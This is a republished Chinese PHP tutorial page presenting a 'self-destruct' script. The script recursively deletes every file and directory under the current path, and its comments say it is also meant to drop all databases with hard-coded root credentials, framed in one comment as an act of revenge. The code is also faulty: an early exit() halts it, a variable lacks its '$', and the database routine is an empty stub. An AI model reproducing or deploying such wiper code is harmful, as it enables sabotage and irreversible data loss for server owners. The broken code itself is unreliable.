Heim  >  Artikel  >  Backend-Entwicklung  >  PHP自毁程序(慎用)

PHP自毁程序(慎用)

WBOY
WBOYOriginal
2016-07-25 08:44:47860Durchsuche

本文实例讲述了PHP自毁程序。分享给大家供大家参考。具体实现方法如下:

  1. // +----------------------------------------------------------------------
  2. // | Kill!!
  3. // | 程序将清除本目录所有文件、目录
  4. // | 如果设置了数据库信息,则尝试删除所有数据库和表数据(前提是权限要够!)
  5. // +----------------------------------------------------------------------
  6. // | Version: $Id$
  7. // +----------------------------------------------------------------------
  8. //----------数据库配置区域-----------------
  9. //复仇的力量是很可怕的,所以无需指定数据库,全删!
  10. define('DB_USER', 'root');
  11. define('DB_PWD', 'root');
  12. define('DB_HOST', 'localhost');
  13. define('DB_PORT', '3216');
  14. define('DB_DAMAGE', true); //为false时,不碰数据库
  15. run();
  16. /**
  17. * 主体思想必须光辉伟大!
  18. *
  19. * @return void
  20. **/
  21. function run()
  22. {
  23. //删除文件
  24. deletedir();
  25. //删除数据库
  26. deleteDB();
  27. }
  28. /**
  29. * 呵呵呵,删除当前目录所有文件(递归)
  30. *
  31. * @return void
  32. **/
  33. function deletedir($dir = ''){
  34. if ($dir == '') {
  35. $dir = realpath('.');
  36. }
  37. echo $dir;
  38. exit();
  39. if(!handle=@opendir($dir)){
  40. //检测要打开目录是否存在
  41. die("没有该目录");
  42. }
  43. while(false !==($file=readdir($handle))){
  44. if($file!=="."&&$file!==".."){
  45. //排除当前目录与父级目录
  46. $file=$dir .DIRECTORY_SEPARATOR. $file;
  47. if(is_dir($file)){
  48. deletedir($file);
  49. }else{
  50. if(@unlink($file)){
  51. echo "文件$file删除成功。
    ";
  52. }else{
  53. echo "文件$file删除失败!
    ";
  54. }
  55. }
  56. }
  57. if(@rmdir($dir)){
  58. echo "目录$dir删除成功了。
    \n";
  59. }else{
  60. echo "目录$dir删除失败!
    \n";
  61. }
  62. }
  63. /**
  64. * 呵呵呵,删除数据库
  65. *
  66. * @return void
  67. **/
  68. function deleteDB()
  69. {
  70. if(DB_DAMAGE === true){
  71. //start
  72. }
  73. }
复制代码

希望本文所述对大家的php程序设计有所帮助。

PHP


Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn